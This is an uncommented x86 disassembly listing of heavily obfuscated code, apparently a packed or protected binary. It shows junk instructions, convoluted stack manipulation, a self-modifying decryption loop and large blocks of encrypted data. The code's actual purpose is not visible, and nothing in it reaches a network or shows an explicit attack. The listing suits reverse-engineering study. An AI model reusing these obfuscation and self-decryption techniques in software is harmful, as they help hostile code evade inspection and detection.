		rol	dword ptr ds:6ADE8Ah, 1
		call	dword ptr [ebp+5D12459h]
		mov	eax, eax
		jmp	short loc_5BABB8
; ---------------------------------------------------------------------------
		aas
		pop	ds
		lahf
		mov	word ptr [ecx],	fs
		retn	9AEh
; ---------------------------------------------------------------------------
		dw 0D2FBh
		dd 0FEE5CC2Ah, 0F3AD4EABh, 0DD566C03h, 5F6A46BDh
; ---------------------------------------------------------------------------


loc_5BAB58:				; CODE XREF: ud2_____:loc_5BAB93j
		mov	[edi-3Ah], bl
		stosd
		neg	byte ptr [ebp+ebx*8-45h]
		cmp	[ecx+3B06E5E4h], ebx ; CODE XREF: ud2_____:005BAB96j
		pop	ebx
		or	dh, [edi-2]
		inc	ebp
		fcmovb	st, st(1)
		xchg	cl, ds:1579E43Dh
		imul	ebx, [ebp-2BD28C73h], 6363A5C3h
		add	[ebx+1585200Dh], edi
		in	eax, dx
		and	[ebp+44347EE2h], ah
		adc	ah, bl
		sal	dword ptr [eax-27F5AD6Fh], 0A1h


loc_5BAB93:				; CODE XREF: ud2_____:005BAB18j
		loopne	loc_5BAB58
		push	ecx
		jp	short near ptr loc_5BAB60+2
		cmpsb
		pop	esp
		insd
		adc	[edi], cl
		cmp	al, 90h
		not	ebp
		push	ecx
		xor	al, 11h
		jl	short loc_5BABBB
		push	ds
		mov	ds:0C2CAFEA2h, al
		or	[edi+5Dh], esp
		rep xor	eax, edx
		sbb	[edi], bl
; ---------------------------------------------------------------------------
dword_5BABB4	dd 0E4D73DFEh	; ---------------------------------------------------------------------------


loc_5BABB8:				; CODE XREF: ud2_____:005BAB3Cj
		jmp	short near ptr loc_5BABBC+2
; ---------------------------------------------------------------------------
		db 0BBh
; ---------------------------------------------------------------------------


loc_5BABBB:				; CODE XREF: ud2_____:005BABA4j
		cli


loc_5BABBC:				; CODE XREF: ud2_____:loc_5BABB8j
		mov	ds:618E956h, al
; ---------------------------------------------------------------------------
		db 2 dup(0), 0DEh
; ---------------------------------------------------------------------------
		mov	ds:0BD3B1295h, al ; CODE XREF: ud2_____:005BABEDj
		mov	ds:0BAD32209h, al
		popa
		or	ch, ch
		push	eax
		push	edi
		jl	short loc_5BABDC
		push	0FFFFFFB1h
		retf	0F5A5h
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		std


loc_5BABDC:				; CODE XREF: ud2_____:005BABD3j
		cmp	dl, bl
		mov	ds:0C1381394h, eax
		test	al, 0Fh
		and	al, 0DEh
		dec	ebp
		push	56h
		xchg	eax, edi
		cmp	[ebx], bl
		js	short near ptr loc_5BABC4+3
		mov	sp, 9C6Bh
		xchg	eax, ecx
		push	0FFFFFFD3h
		adc	eax, ecx
		or	[edi-7Fh], edi
		popf
		sbb	eax, 0E04C7725h
		sbb	[edx], ecx
		lock pop edi
		xchg	eax, edi
		aad	2Ah
		add	edi, ecx
		db	66h
		mov	fs, word ptr [ebx-53561BA6h]
		test	[esi+4B792B6Ch], ch
		push	eax
		add	eax, 619D6CFFh
		pushf
		cmp	al, 0D2h
		add	[esi], ecx
		cmpsd
		jecxz	short near ptr dword_5BABB4
		cmpsd
		jns	short loc_5BAC54
		push	es
		cli
		fst	dword ptr [ebx]
; ---------------------------------------------------------------------------
		dd 0B3B3CC36h, 5F172856h, 0FFF788F2h, 9E56E712h, 0C86EB909h
		dd 79826120h, 3CEB3BE4h, 1DEC7F85h, 5D70EC16h, 6CAE3E40h
; ---------------------------------------------------------------------------


loc_5BAC54:				; CODE XREF: ud2_____:005BAC26j
		mov	dword ptr [ebp-5DA2F019h], 4EDF1A71h
		insd
		push	es
		sti
		bound	ebx, [edi+18D46590h]
		inc	edx
		mov	edi, 0AE3E0310h
		insb
		test	dl, dh
		sub	eax, 52AB8647h
		aas
		aaa
		mov	ch, 8Ah
		mov	ds:0CD28C453h, eax
		mov	dl, 9Bh
		retf
; ---------------------------------------------------------------------------
		db 6Eh,	15h, 78h
		dd 42BFF674h, 0F84E472Fh, 0B80E8B2Dh, 3C4DB46Dh, 0D16A90FBh
		dd 3D80901Dh, 0DEB06CAEh, 51B2CC07h, 42B7514Eh,	0AB000000h
		dd 402C3F45h, 0AE855645h, 31F4466Ch, 0A5B61DACh, 226CAE84h
		dd 0C8E64F70h, 0AD514E0Ah, 1, 203B4541h, 8497E14Ch, 59F40DE8h
		dd 4C9BED95h, 0D7D06B95h, 0FBD686FCh, 6CAE84DAh, 0BE792F7Dh
		dd 2D404556h, 0C342B841h, 0B3BFC14Eh, 0F98EEE47h, 71215FC6h
		dd 5EEF0E0Ch, 4E26D496h, 0D5C6CD9Ch, 726CADEDh,	0DC6F7220h
		dd 0ADEDE4F1h, 0E31636Ch, 26C1B166h, 2942BCB3h,	0BBD62F76h
		dd 5CEF1560h, 0E9B518Dh, 0D9797533h, 0A4D33E26h, 6235C495h
		dd 0ADD82E2Fh, 0AFBA96Ch, 6CADD809h, 0AE46D923h, 0D58EDC3Ch
		dd 0E500860Fh, 4EB9A02Eh, 9F6551h, 45F90000h, 0E4412D40h
		dd 44EC8099h, 1962A342h, 0BE6CFB7Bh, 50ED167Dh,	0C2D3FE81h
		dd 0E86CAE84h, 0C11BFF8Ch, 1881302h, 12CDF344h,	0ADE0B34Ah
		dd 6CAE06B0h, 0D35A0557h, 6BC68BA6h, 0F7757910h, 0BFB63F49h
		dd 0CAF55FA1h, 0DE06322h, 4C4944F6h, 0CB6CAE6Fh, 61FBEB99h
		dd 6F203D90h, 0F5A76CAEh, 0A82DF8CAh, 722D4045h, 4E22A529h
		dd 7B806F51h, 0A35C0EE6h, 62A9h, 40454D00h, 9DE4412Dh
		dd 0FF05E08Ch, 5AA5806Ch, 241862C3h, 0AE856C69h, 8BB9EB6Ch
		dd 0B372C4DBh, 0BDAAC0Dh, 1B9CB1CAh, 0EB0A1931h, 7CFAA152h
		dd 928603E3h, 826CAE84h, 12A8FF7h, 4C14A414h, 6ADF80E5h
		dd 15CEFCF6h, 97CF5295h, 2D3FE3Fh, 0FC012C4Bh, 24DF8D61h
		dd 4E8C637Bh, 14051h, 45E40000h, 0E643233Ah, 92E3839Ch
		dd 0E510D114h, 4FAE8554h, 720D773Eh, 346C5041h,	0CFA7B6C1h
		dd 379A6F1Dh, 727F900Bh, 0D30BDE8Ch, 0F929C47Dh, 0EEF6A9F7h
		dd 0E019F903h, 0FAA8C532h, 313D4CABh, 972285ABh, 0C4219A6Fh
		dd 2BD46F54h, 8D61FA00h, 770671FCh, 0CB64927Fh,	0E093411Bh
		dd 806BF6E5h, 1FC6B072h, 374AB7BAh, 0ABF2AD3Fh,	0A5B61D51h
		dd 2272806Bh, 0ABC23D70h, 6E7321BBh, 0DD537683h, 59888994h
		dd 697487Eh, 0BEC5D52Fh, 7725C7AFh, 0D768927Fh,	0A8C5321Fh
		dd 0E1D59C4h, 1DC8BE66h, 37EEC09Bh, 30EB84FEh, 7CD5C7E7h
		dd 0B31EA14Bh, 727FC5A2h, 0D542897Fh, 368A0274h, 984EE11Bh
		dd 185EDE7h, 265C0000h,	410556C7h, 504631BCh, 0AA56F62Ch
		dd 2C9B81B2h, 8EF7F674h, 88F27255h, 0E94417DAh,	6AF0FC8Fh
		dd 0AC2B2867h, 0FEAC6CADh, 0C1B2FEC5h, 755727Eh, 0E778826Fh
		dd 4BE61F12h, 9D1EC19Bh, 2E334CB6h, 0FE731634h,	0B85BEA8Dh
		dd 102B51BCh, 0F487F15Ch, 48E31DF8h, 0ADAEE5A4h, 2A727F60h
		dd 0E83F8F78h, 2259556h, 0D465909Fh, 61FA002Bh,	0C2CB3346h
		dd 0CA793484h, 670720D3h, 4C4B7DACh, 59h, 69FD19E0h, 9CB1CE62h
		dd 0FC903866h, 665C31C3h, 0F06F3C93h, 0BAE86CADh, 0EFEEEFAAh
		dd 2C7E6CADh, 86FC51F9h, 0FB138BF3h, 53C0907h, 1FEF3E67h
		dd 7A25CB15h, 483206Fh,	29046CAEh, 12ABBBD2h, 0AE049EBFh
		dd 456B396Ch, 79651497h, 0D6D8E0Dh, 0E7023D3Ah,	0ABh, 7E742C49h
		dd 98EC246Bh, 466B727Fh, 9943233Ch, 86FCE6EBh, 1179DE04h
		dd 0C3F18AF0h, 93E95410h, 0AED43FF8h, 0C2D4D19Dh, 0E8728006h
		dd 0AF7FF8Ch, 21905CF1h, 0F9387EA9h, 0E51FD611h, 4EA8874Ah
		dd 88AB313Dh, 88EBA527h, 4B11DD6Eh, 0BBAED4A5h,	0A87461FDh
		dd 0CBC681B2h, 78565558h, 44D3230Eh, 5C3CBAA8h,	39C1A798h
		dd 1160680Bh, 5653A1B2h, 46742678h, 4B45BCB3h, 876F1D2Ch
		dd 53B9336Dh, 0BF6D8FC1h, 77DD884h, 81097874h, 9C8AC666h
		dd 0E814280Ch, 0FD2809Ch, 2BEE2180h, 0E5F4A67Eh, 975FF00Eh
		dd 0C1D58D5h, 2C6A4253h, 18F60174h, 0C5A74FDCh,	63055F17h
		dd 0AA4D38Ch, 0E7EA984Eh, 83CE39A8h, 0FD8CDE72h, 0F3080876h
		dd 26D4965Eh, 708A777Dh, 0D7270ADFh, 53EAC40h, 5743B994h
		dd 8953132Eh, 148E0BDBh, 5BC5F8BCh, 17BBA6Dh, 1C664D6Eh
		dd 79866303h, 35E915E4h, 3E9E6562h, 5CB9A35Ch, 0FE5B0B20h
		dd 9F00EC81h, 5B66D80Fh, 0AE8518CFh, 0B4363E4Fh, 5E984F9h
		dd 8BF1BC67h, 0F1E2D78h, 8DB32947h, 85B9C32Ah, 0F8E70D0Eh
		dd 60A1D0C5h, 4249D0CBh, 619634Eh, 9BC2A250h, 3, 45190B95h
		dd 0DB462E3Dh, 7BE68EA1h, 98856900h, 3A27CF5Ch,	65C0ACC1h
		dd 84610D20h, 230EE67Bh, 4CA945D4h, 0B2551932h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	ebp, 63374CCDh
		and	ebp, 12271E0Ch
		add	ebp, 0FFFFFFFFh
		not	ebp
		add	ebp, 413D682Ah
		xor	ebp, 3AC05185h
		push	190h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	6D21h
		mov	[esp], ebp
		pop	dword ptr [esi+8]
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		dd 0B81523FEh, 5D61318h, 0E0FFC503h, 42D1AC3Fh,	714AFE68h
		dd 55F44233h, 501353A1h, 6A7A95E9h, 224B2773h, 5F077BC9h
		dd 4E124CB8h, 52C3EB8Ah, 6A4452C5h, 73023850h, 4E4577Eh
		dd 206A699Ah, 3C6FF235h, 451500B8h, 63A787E6h, 1715D2F9h
		dd 794EA420h, 702B68F1h, 7629335Fh, 1A0FFF09h, 7DDA8E3Ah
		dd 7DB6DC7Bh, 1706ED27h, 5719C886h, 27B5909Bh, 6028567Ch
		dd 59DB6A47h, 5425EB45h, 15048D8Dh, 6A05D6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 6C54F2C3h
		dd 3C12BFD1h, 8D895468h, 5D11021h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 6C35040h, 0C805ACEFh, 0FB9769Ch
		dd 682h, 11958B00h, 0C705D132h,	0D11C0985h, 64A805h, 85C7F800h
		dd 5D10679h, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+5D12335h]
		push	dword ptr [ebp+5D11571h]
		push	0
		push	ecx
		call	sub_5BB2E3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB2E3	proc near		; CODE XREF: ud2_____:005BB2DBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5BB2E3	endp

; ---------------------------------------------------------------------------
		db 0B4h
		dd 8A0Fh, 95FF0000h, 5D10EDDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 1BC35242h, 0F4451808h, 0BF0FE42Fh
		dd 0FF006AC7h, 0D1245995h, 0EBC08B05h, 3350F03Ah, 0B30C7B29h
		dd 0B35A4CFBh, 27622DE9h, 0F8D12F87h, 0E912AE5Dh, 6E36434Eh
		dd 3ED472DEh, 0BD568C5Eh, 1BAA52F1h, 0CE02F412h, 3374D2D5h
		dd 4B64B98Dh, 31CDE04Bh, 0E81A9188h, 8,	0DA69185Ch, 0F7D619DDh
		dd 2281B589h, 8B5A05D1h, 13C281F8h, 0E8000065h,	11h, 0EAAD8F50h
		dd 30203243h, 2F61E8F4h, 46D7CF0Bh, 880F52ACh, 0
; ---------------------------------------------------------------------------
		pop	eax
		pop	edi
		sub	ebx, ebx
		movzx	esi, cx


loc_5BB3AB:				; CODE XREF: ud2_____:005BB408j
		mov	ecx, [edx+ebx]
		movsx	eax, dx
		add	ecx, 5F2BD713h
		mov	esi, eax
		sub	ecx, 552E26B4h
		mov	eax, esi
		add	ecx, 23DBFF2Ah
		push	edx
		mov	eax, 2094EFB0h
		pop	esi
		push	ecx
		mov	edi, edx
		pop	dword ptr [edx+ebx]
		mov	ah, bh
		xor	esi, 6B3F868Ch
		sub	ebx, 4
		mov	edi, [ebp+5D12A4Dh]
		cmp	ebx, 0FFFF9B98h
		jnz	loc_5BB403
		add	edi, 5F19A3ADh


loc_5BB3F7:				; CODE XREF: ud2_____:005BB421j
		jmp	loc_5BB41F
; ---------------------------------------------------------------------------
		dd 0AE27D34Ch
		db 94h,	13h, 0E1h
; ---------------------------------------------------------------------------


loc_5BB403:				; CODE XREF: ud2_____:005BB3EBj
		mov	esi, 5C7A68F9h
		jmp	loc_5BB3AB
; ---------------------------------------------------------------------------
		db 0F1h, 72h, 0FDh
		dd 1DBF5B6Eh, 44CA1022h, 627C48DEh
		db 0A0h, 12h, 0DBh
; ---------------------------------------------------------------------------


loc_5BB41F:				; CODE XREF: ud2_____:loc_5BB3F7j
		fisubr	word ptr [edx]
		jno	short loc_5BB3F7
		aam	46h
		dec	ebx
		fadd	qword ptr [ecx]
		jg	short loc_5BB47F
		enter	5CD4h, 52h
		cwde
		arpl	[ebx], si
		or	ebp, [ecx-67D9CC57h]
		icebp
		pop	edx
		db	26h
		pop	esi
		out	dx, eax
		jmp	far ptr	0B44Eh:60304902h
; ---------------------------------------------------------------------------
		jmp	esp
; ---------------------------------------------------------------------------
		db 0A5h, 67h, 0F8h
		dd 0A34902CEh, 0F39A3BEh, 796723E7h, 0C539A3BAh, 0D71B23E2h
		dd 30490C5Ah, 831D2933h, 0C0982633h, 708E21B6h,	0D6157636h
		dd 0AC4E33CAh, 750DD963h, 839DF722h
		db 64h,	26h, 98h
; ---------------------------------------------------------------------------


loc_5BB47F:				; CODE XREF: ud2_____:005BB428j
		xor	eax, 1F152359h
		cmp	dh, [eax]
		dec	esi
		dec	eax
		arpl	[ebx-0FD9A0E3h], bp
		popf
		add	ecx, esp
		mov	bl, 0BDh
		mov	dl, 0E2h
		and	edx, [ebx-5E5DC3ECh]
		push	33h
		db	26h
		adc	eax, 4E303AB0h
		lahf
		arpl	si, cx
		stosb
		dec	ebp
		xor	esp, [esi]
		fdiv	st, st(6)
		mov	esi, 0E54597A3h
		and	ecx, eax
		and	al, 0B6h
		das
		mov	es, word ptr [edx]
		db	36h
		jbe	short loc_5BB522
; ---------------------------------------------------------------------------
		db 0FFh
		dd 30493B7Ah, 1794E2B0h, 9B8E2FB6h, 23157636h, 564E33CAh
		dd 80DD963h, 3D9DF722h,	6A982651h, 6474AD66h, 11CE7464h
		dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h
		dd 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h,	0E868AD03h
		dd 5AAD63h, 0A9982C88h,	0D49BCF33h, 896F2633h, 3566A57Dh
; ---------------------------------------------------------------------------
		cmp	al, 0A1h


loc_5BB522:				; CODE XREF: ud2_____:005BB4B8j
		insb
; ---------------------------------------------------------------------------
		db 65h
		db 0CCh
		db 0D9h, 0C3h, 4Eh
		dd 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch
		dd 88152637h, 9F4E33C4h, 5AB4ABBEh, 932023E5h, 78000000h
		dd 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh,	0B58DFFFFh
		dd 5D6172Ch, 174B8D8Dh,	0CF2B05D6h, 8B05E983h, 0CE8C8h
		dd 53350000h, 32F05B29h, 0E2441EDFh, 0B58934A7h, 5D11431h
		dd 815FB45Eh, 700BC6h, 719D8900h, 3305D108h, 799589DBh
		dd 0FF05D118h, 858B3334h, 5D12A25h, 9DBD895Fh, 8105D10Dh
		dd 0AACDD9F7h, 81EC8A78h, 9BE9CDEFh, 219D8903h,	8105D116h
		dd 161090EFh, 0F4B96648h, 1E3C8933h, 89D38B66h,	0D10ED98Dh
		dd 78EB8105h, 310367FBh, 0D109E9B5h, 74C38105h,	660367FBh
		dd 81D05BB9h, 0FF907CFBh, 0A4850FFFh, 0BFFFFFFh, 0D1002995h
		dd 0AE805h, 7B0F0000h, 0FAAAABFAh, 7086BA24h, 8158CF8Bh
		dd 0E24BCCCBh, 0B5C08126h, 53000072h, 0C999D0Bh, 0BA5905D1h
		dd 4C8B9A85h, 7E04EA81h, 0BD8B4C8Bh, 5D10611h, 0BD8B308Bh
		dd 5D11601h, 2769EE81h,	9D8B37D4h, 5D121C1h, 6BBFF681h
		dd 8D0F5F43h, 2, 0EE81E88Ah, 36A10D1Bh,	20D19501h, 605605D1h
		dd 7E9h, 28EC2B00h, 8770B8FFh, 3034E981h, 8F614BD7h, 3E88300h
		dd 12E9BD8Bh, 664805D1h, 0F4AFE8Bh, 1385h, 25E900h, 10330000h
		dd 0DBD7CA15h, 22E07A47h, 0D6C10AF5h, 0FF8EE9F8h, 34BFFFFFh
		dd 616DDF17h, 4D7C29FAh, 41FA49E4h, 8D878115h, 0D619718Dh
		dd 958B6005h, 5D11D2Dh,	1FC58D01h, 896105D1h, 0D110218Dh
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 90D87322h, 259D8B73h, 0C705D108h, 0D11C0985h
		dd 5BD805h, 90BE6600h, 7985C755h, 5D106h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0A76EC355h, 6E9h, 0C97D2100h, 0BB0C40D2h, 343E5A84h
		dd 274DB5FFh, 6A05D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 352B51C3h, 0BE8h, 8DC10300h, 0C20AFC6Fh
		dd 352129C9h, 0B5E79B0h, 0D1138D9Dh, 0DD95FF05h, 0E905D10Eh
		dd 6, 46834684h, 6AF040h, 245995FFh, 0C08B05D1h, 91A48EBh
		dd 636BD0AFh, 0B7027F49h, 42B903EEh, 5F89C888h,	0EE061E51h
		dd 0EB0F955Ch, 28CD61D6h, 0E8B570D6h, 4B8B3C58h, 2F62A5A0h
		dd 0DC20EE42h, 1CF71171h, 0D4F48C64h, 0C4FB6B08h, 9D74A41Bh
		dd 4652D2Ah, 3C7ABB08h,	9D8D49ADh, 5D12605h, 3DB8h, 2D858900h
		dd 0E805D114h, 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5BB846
; ---------------------------------------------------------------------------
		db 2 dup(0), 80h
		dd 0Eh dup(8000007Ch)
; ---------------------------------------------------------------------------
		jl	short near ptr loc_5BB844+1 ; CODE XREF: ud2_____:loc_5BB844j


loc_5BB846:				; CODE XREF: ud2_____:005BB804j
		jmp	short loc_5BB84C
; ---------------------------------------------------------------------------


loc_5BB848:				; CODE XREF: ud2_____:005BB862j
		or	esp, [edx]
		sti
		daa


loc_5BB84C:				; CODE XREF: ud2_____:loc_5BB846j
		jmp	loc_5BBD6F
; ---------------------------------------------------------------------------
		db 6Ch,	14h, 7
; ---------------------------------------------------------------------------
		movsb
		dec	ecx
		das
		sbb	al, 9Bh
		mov	al, 45h
		xor	al, 0F3h
		cwde
		pop	edi
		retn	82E9h
; ---------------------------------------------------------------------------
		jns	short loc_5BB848
		retn
; ---------------------------------------------------------------------------
		db 78h,	33h, 7Bh
		dd 614C6F02h, 4EA50615h, 0AA811A33h, 0C4FC3F50h, 6A8D8E05h
		dd 0DD0A66D8h, 2C3F4557h, 8DA0E540h, 0A6B9C32Ah, 61963CEh
		dd 0EB80FC73h, 4098E9FBh, 901694C6h, 922B31E2h,	0D4357968h
		dd 0AD09CADh, 77ED5ECh,	94A7D15Ch, 974E38D8h, 900B245Eh
		dd 5A7B5619h, 0FD6CAE4Fh, 52A9F4AFh, 6E95E03Bh,	0C636257h
		dd 0B2F37D09h, 0A13B2B44h, 0E74AF3F3h, 7CEE8699h, 8F9CD843h
		dd 0CD18EEE7h, 5B5CED14h, 7D710A70h, 0AE092030h, 67BE106Ch
		dd 6A057FF2h, 763FE07Ah, 514E8658h, 5E5Dh, 3F45D100h, 1A0B2653h
		dd 0D29240DDh, 0AE84C4D7h, 4EA5F46Ch, 3186434h,	28CBF963h
		dd 0FA944F96h, 0FF514E0Ah, 0Ah,	0E33A342Eh, 1C66809Ah
		dd 3B453963h, 97E14C20h, 0F40DE884h, 9BED9559h,	0D06B954Ch
		dd 33D42201h, 0CCA57F41h, 10DC8278h, 2D08A94Ah,	0BEB544D7h
		dd 0A5472F40h, 19D339FAh, 905CF10Ah, 33334AB5h,	5DD8FBA9h
		dd 0FC591528h, 64E06182h, 0E85FBCAEh, 35852A3Ah, 0C8CA33F2h
		dd 28D19DAEh, 0ADC47865h, 9F4D1F6Ch, 9DE7CEE9h,	0F807E282h
		dd 45048D61h, 0C4FE1FB2h, 0B4996CADh, 0AB313D4Eh, 1DC8DA85h
		dd 4ECCD8E6h, 3DBD51h, 45B10000h, 0B8412D40h, 313D50B5h
		dd 52AD88ABh, 3D8B2B3Bh, 0BFD22BEAh, 51EC117Ch,	2A47B09Dh
		dd 18CF7B3Ah, 4E0CD3DBh, 4FB051h, 45B40000h, 0E4412D40h
		dd 89E08C9Dh, 0D62FE601h, 451460BBh, 8F8C033Bh,	526CAE84h
		dd 90DBDCADh, 7C2EA243h, 0F71BA64Eh, 276CAD99h,	260D9057h
		dd 2B2867D9h, 0AC6CAD9Ah, 4624C8FEh, 0F5FA949Dh, 88F2514Eh
		dd 2CCDD44Bh, 6B611261h, 1, 0F10A198Fh,	9046D923h, 203944EFh
		dd 0BA3D2551h, 75CF95F5h, 3D47A24Ah, 0F7734222h, 3846AD30h
		dd 909D4F27h, 42FD069h,	304760F9h, 0F6A9C43Dh, 45148AC6h
		dd 7EEB324Eh, 0EF87D572h, 4467F802h, 22C33E35h,	0CB1BC73h
		dd 9B446A99h, 0D16A90h,	1FB379DAh, 71001076h, 7F1A4152h
		dd 0EB94C672h, 19958401h, 0A713727Fh, 203B4180h, 0C556AC87h
		dd 0A5B6CC29h, 6B9326C9h, 65996EDDh, 40427D10h,	5166CA5h
		dd 0B23549A2h, 92324B7Dh, 36000001h, 6B7E742Ch,	84E8F5D8h
		dd 3D6F6CAEh, 20484702h, 0A7727F9Bh, 0E61CF9F5h, 3F275255h
		dd 807006AEh, 0F4BF60E2h, 14F1FD8Eh, 0A18C5DEEh, 551FC05Bh
		dd 8015D0A2h, 343853ADh, 5CA68DB6h, 0EF8FE8C3h,	0F44B7CA9h
		dd 73h,	5792C68h, 0BF12A574h, 6CAE849Eh, 0E7D0E339h, 481689Ah
		dd 8526AD56h, 26CADEAh,	0ABBBD62Fh, 47E0331h, 7D2B3D29h
		dd 9EBF12B1h, 396CAE60h, 0D29A456Bh, 0AE60C6D7h, 21C4566Ch
		dd 0BDED489h, 320E98D3h, 46BC6C5Dh, 0FDA33935h,	0DB8807C2h
		dd 8D6CAD98h, 82B0EC51h, 0F00E326Bh, 27D5975Fh,	3BCE9C7Ch
		dd 0BF572BC3h, 944F72FBh, 0D7D403h, 2C580000h, 736B7E74h
		dd 59B0ECD6h, 41183BC0h, 0B3A0EFBEh, 0F96CAE34h, 6507EF7Eh
		dd 37E3765h, 642496Ah, 70727F49h, 0FBEB82FDh, 775ABE61h
		dd 0F633FB0Eh, 0AA0D3007h, 331ED684h, 1E75B6C9h, 382568E4h
		dd 0DF727EA5h, 8A17DF8Dh, 727EA584h, 50915422h,	0D696112Ah
		dd 5E75047Ah, 7854C059h, 1A3FD70Fh, 0ADE78153h,	855406F2h
		dd 2B3B54AEh, 27E68EB1h, 0A71C3994h, 0E9BB7854h, 7A156F36h
		dd 0D9708F6Ah, 0BFCC2815h, 77AE00B7h, 51886949h, 0AA58F6BAh
		dd 0C94C9B6Fh, 0DE8A28ADh, 23D6127h, 0C9981672h, 3E37AADh
		dd 55698F8Ch, 3C5A0878h, 9649D0FFh, 0ECFBFCD3h,	716D7E2Ah
		dd 0D7273C47h, 0E8E093C9h, 0A9E4B7BAh, 7E2B7FACh, 2568792Bh
		dd 7E2B8038h, 0C1D28DDFh, 7E742CEBh, 9F53246Bh,	0A6F47284h
		dd 61963CEh, 1B344EA5h,	0DD084E4Bh, 616794B1h, 5AF50FC6h
		dd 0B35D9897h, 5F003649h, 720D775Eh, 0EC93CB72h, 0FD1EB552h
		dd 9A94B239h, 72092C8h,	985F18C4h, 0A654EC3Ch, 1749B6FDh
		dd 0B1D29BB8h, 0D5C6CD94h, 7294B1D2h, 0CCF2A020h, 0ED95120h
		dd 1992ADD7h, 0BFB7C832h, 3AEh,	190B8200h, 462E3D45h, 0E68EA1DBh
		dd 8569007Bh, 27CF5C98h, 0C0ACC13Ah, 610D2065h,	0EE67B84h
		dd 0A945D423h, 5519324Ch, 0E78957B2h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 50241489h, 405E089h, 83000000h, 48704E8h
		dd 34895C24h, 2F0C6824h, 3C890000h, 92BA5224h, 8154002Ah
		dd 3C2EBFC2h, 3CCA8123h, 4A0A1139h, 0C1FFEA83h,	0C28105E2h
		dd 1E26EA89h, 545AD689h, 83243C8Bh, 0EC8304C4h,	24348904h
		dd 0FF08478Fh, 815F2434h, 4C4h,	24348B00h, 5E08950h, 4
		dd 8704C083h, 0E95C2404h, 0FFFB5CFFh, 0F58E0AA0h, 0AAA7380Eh
		db 1Eh,	0A9h, 89h
; ---------------------------------------------------------------------------


loc_5BBD6F:				; CODE XREF: ud2_____:loc_5BB84Cj
		mov	eax, 5D61EB9h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 7EAE5825h, 2DE58C04h, 7F868D48h, 5DC4C3D2h, 7D2DE689h
		dd 7BF41521h, 65A6995h,	7F606AB2h, 5A77AFA0h, 698BDBC2h
		dd 28174877h, 5C1F7846h, 2F5074Ch, 3DC32AB7h, 5A077688h
		dd 4C3076A7h, 670EF43Ah, 80E4EE9h, 2AC9B2E6h, 44667358h
		dd 38D39BDAh, 57EDE166h, 368F6EC5h, 7E960C64h, 25257297h
		dd 0B0E9h, 8C666000h, 4C2F6DAh,	0C850Fh, 853B0000h, 5D10699h
		dd 36840Fh, 853B0000h, 5D10829h, 2A840Fh, 853B0000h, 5D113F9h
		dd 1E840Fh, 853B0000h, 5D123B1h, 12840Fh, 0BD830000h, 5D10859h
		dd 5840F01h, 0E9000000h, 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h
		dd 0C985784Ah, 49840Fh,	0C2810000h, 0F8h, 30C728Bh, 1C598BC8h
		dd 314518Bh, 850B8BD8h,	10840FC9h, 3B000000h, 17820FCEh
		dd 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h, 0FFFFDC85h
		dd 0DE9FFh, 9D8D0000h, 5D14CBDh, 5B8h, 61E3FF00h, 0E8D00BC3h
		dd 13h,	915B3892h, 0A405A0EBh, 32DB042Eh, 5F5C5888h, 295B5B4Ah
		dd 0D13211B5h, 0EB815805h, 1AF2AFFAh, 6BA0C081h, 0D38B0000h
		dd 1ABCBEh, 0B99D8900h,	8B05D10Eh, 1DBB6638h, 1EEF813Fh
		dd 0E9238353h, 0Bh, 0A5F8092Dh,	44B347CAh, 81BEB361h, 5078ABC7h
		dd 81666026h, 611DD9DFh, 0F4AEC781h, 0C88B1524h, 0CFB70F57h
		dd 7E9008Fh, 25000000h,	30E85DBAh, 0E883794Ch, 459D8902h
		dd 4805D126h, 35950948h, 8305D121h, 850F01EEh, 11h, 0FE64E181h
		dd 19E9379Ah, 1D000000h, 0A940D5C4h, 0B99D894Bh, 0E905D116h
		dd 0FFFFFF87h, 0B03B65CAh, 2F2D74Bh, 22318D8Dh,	5E805D6h
		dd 67000000h, 2C8DB0Ah,	0CE9h, 0EF686B00h, 33A81DEh, 0F1EA4BE5h
		dd 0BD315861h, 5D108EDh, 10218D89h, 6A05D1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 566BF5C3h
		dd 0C5B16112h, 5E975h, 0DA530000h, 0C720660Fh, 0D11C0985h
		dd 6FD005h, 0B58B5000h,	5D11C29h, 7985C75Fh, 5D106h, 6A000000h
